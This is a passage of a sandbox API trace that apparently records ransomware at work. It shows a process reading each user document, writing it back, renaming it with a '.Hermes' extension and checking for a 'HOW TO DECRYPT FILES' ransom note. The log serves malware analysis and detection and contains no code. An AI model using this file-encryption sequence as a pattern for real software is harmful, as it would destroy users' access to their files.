[0092.446] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db6b190, ftCreationTime.dwHighDateTime=0x1d4d2d8, ftLastAccessTime.dwLowDateTime=0xd7082e60, ftLastAccessTime.dwHighDateTime=0x1d4d130, ftLastWriteTime.dwLowDateTime=0xd7082e60, ftLastWriteTime.dwHighDateTime=0x1d4d130, nFileSizeHigh=0x0, nFileSizeLow=0x15e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WXW6Ahqo3L.ots", cAlternateFileName="WXW6AH~1.OTS")) returned 1 [0092.447] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88967b70, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xdbe93830, ftLastAccessTime.dwHighDateTime=0x1d4c815, ftLastWriteTime.dwLowDateTime=0xdbe93830, ftLastWriteTime.dwHighDateTime=0x1d4c815, nFileSizeHigh=0x0, nFileSizeLow=0xee5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_qklyEfojoWT7b.ods", cAlternateFileName="_QKLYE~1.ODS")) returned 1 [0092.447] FindNextFileW (in: hFindFile=0xfdb430, lpFindFileData=0x19d990 | out: lpFindFileData=0x19d990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88967b70, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xdbe93830, ftLastAccessTime.dwHighDateTime=0x1d4c815, ftLastWriteTime.dwLowDateTime=0xdbe93830, ftLastWriteTime.dwHighDateTime=0x1d4c815, nFileSizeHigh=0x0, nFileSizeLow=0xee5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_qklyEfojoWT7b.ods", cAlternateFileName="_QKLYE~1.ODS")) returned 0 [0092.447] FindClose (in: hFindFile=0xfdb430 | out: hFindFile=0xfdb430) returned 1 [0092.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc18) returned 1 [0092.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dc24) returned 1 [0092.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", lpFilePart=0x0) returned 0x62 [0092.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\6py75swyl1uprzmw_n.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.447] GetFileType (hFile=0x304) returned 0x1 [0092.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.448] GetFileType (hFile=0x304) returned 0x1 [0092.448] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x4555 [0092.448] ReadFile (in: hFile=0x304, lpBuffer=0x309c124, nNumberOfBytesToRead=0x4555, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x309c124*, lpNumberOfBytesRead=0x19db6c*=0x4555, lpOverlapped=0x0) returned 1 [0092.448] CloseHandle (hObject=0x304) returned 1 [0092.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.463] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", lpFilePart=0x0) returned 0x62 [0092.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\6py75swyl1uprzmw_n.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.464] GetFileType (hFile=0x304) returned 0x1 [0092.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.464] GetFileType (hFile=0x304) returned 0x1 [0092.464] WriteFile (in: hFile=0x304, lpBuffer=0x30fe9f0*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x30fe9f0*, lpNumberOfBytesWritten=0x19db60*=0x4560, lpOverlapped=0x0) returned 1 [0092.466] CloseHandle (hObject=0x304) returned 1 [0092.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv", lpFilePart=0x0) returned 0x62 [0092.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv.Hermes", lpFilePart=0x0) returned 0x69 [0092.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\6py75swyl1uprzmw_n.csv"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3e8220, ftCreationTime.dwHighDateTime=0x1d4c8cf, ftLastAccessTime.dwLowDateTime=0xec4b8020, ftLastAccessTime.dwHighDateTime=0x1d4c973, ftLastWriteTime.dwLowDateTime=0xb095d493, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x4560)) returned 1 [0092.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.469] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\6py75swyl1uprzmw_n.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\6Py75SwYl1UPRzmW_N.csv.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\6py75swyl1uprzmw_n.csv.hermes")) returned 1 [0092.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", lpFilePart=0x0) returned 0x63 [0092.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\hy uygyqm9mbjysemtx.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.469] GetFileType (hFile=0x304) returned 0x1 [0092.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.470] GetFileType (hFile=0x304) returned 0x1 [0092.470] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x17954 [0092.470] ReadFile (in: hFile=0x304, lpBuffer=0x40cb788, nNumberOfBytesToRead=0x17954, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x40cb788*, lpNumberOfBytesRead=0x19db6c*=0x17954, lpOverlapped=0x0) returned 1 [0092.472] CloseHandle (hObject=0x304) returned 1 [0092.525] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", lpFilePart=0x0) returned 0x63 [0092.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\hy uygyqm9mbjysemtx.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.527] GetFileType (hFile=0x304) returned 0x1 [0092.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.527] GetFileType (hFile=0x304) returned 0x1 [0092.527] WriteFile (in: hFile=0x304, lpBuffer=0x4141698*, nNumberOfBytesToWrite=0x17960, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x4141698*, lpNumberOfBytesWritten=0x19db60*=0x17960, lpOverlapped=0x0) returned 1 [0092.530] CloseHandle (hObject=0x304) returned 1 [0092.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt", lpFilePart=0x0) returned 0x63 [0092.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt.Hermes", lpFilePart=0x0) returned 0x6a [0092.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\hy uygyqm9mbjysemtx.ppt"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde689e70, ftCreationTime.dwHighDateTime=0x1d4ca36, ftLastAccessTime.dwLowDateTime=0xcb1ba80, ftLastAccessTime.dwHighDateTime=0x1d4d4cf, ftLastWriteTime.dwLowDateTime=0xb09f5e40, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x17960)) returned 1 [0092.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.532] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\hy uygyqm9mbjysemtx.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\hy UYGYQM9MBJYSeMTx.ppt.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\hy uygyqm9mbjysemtx.ppt.hermes")) returned 1 [0092.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", lpFilePart=0x0) returned 0x5b [0092.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\pfzsit0y49o.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.533] GetFileType (hFile=0x304) returned 0x1 [0092.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.533] GetFileType (hFile=0x304) returned 0x1 [0092.533] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x9ab0 [0092.533] ReadFile (in: hFile=0x304, lpBuffer=0x3150ca0, nNumberOfBytesToRead=0x9ab0, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x3150ca0*, lpNumberOfBytesRead=0x19db6c*=0x9ab0, lpOverlapped=0x0) returned 1 [0092.534] CloseHandle (hObject=0x304) returned 1 [0092.564] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", lpFilePart=0x0) returned 0x5b [0092.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0092.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\pfzsit0y49o.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.566] GetFileType (hFile=0x304) returned 0x1 [0092.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0092.566] GetFileType (hFile=0x304) returned 0x1 [0092.566] WriteFile (in: hFile=0x304, lpBuffer=0x2fe1cb8*, nNumberOfBytesToWrite=0x9ac0, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x2fe1cb8*, lpNumberOfBytesWritten=0x19db60*=0x9ac0, lpOverlapped=0x0) returned 1 [0092.567] CloseHandle (hObject=0x304) returned 1 [0092.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt", lpFilePart=0x0) returned 0x5b [0092.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt.Hermes", lpFilePart=0x0) returned 0x62 [0092.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0092.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\pfzsit0y49o.odt"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d0090, ftCreationTime.dwHighDateTime=0x1d4cd72, ftLastAccessTime.dwLowDateTime=0x660b73c0, ftLastAccessTime.dwHighDateTime=0x1d4c5eb, ftLastWriteTime.dwLowDateTime=0xb0a43f1a, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x9ac0)) returned 1 [0092.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0092.569] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\pfzsit0y49o.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\pFzSit0y49o.odt.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\pfzsit0y49o.odt.hermes")) returned 1 [0092.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", lpFilePart=0x0) returned 0x5f [0092.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0092.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\hhxhtu9goilgz\\so7sq6gpkdftrbp.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.570] GetFileType (hFile=0x304) returned 0x1 [0092.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0092.570] GetFileType (hFile=0x304) returned 0x1 [0092.570] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0x5a3e [0092.570] ReadFile (in: hFile=0x304, lpBuffer=0x2febed8, nNumberOfBytesToRead=0x5a3e, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x2febed8*, lpNumberOfBytesRead=0x19db6c*=0x5a3e, lpOverlapped=0x0) returned 1 [0092.570] CloseHandle (hObject=0x304) returned 1 [0092.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0092.648] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0092.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\HhXhtU9gOiLGZ\\So7sQ6gpKdfTrbp.ppt", lpFilePart=0x0) returned 0x5f [0092.648] SetThreadErrorMode 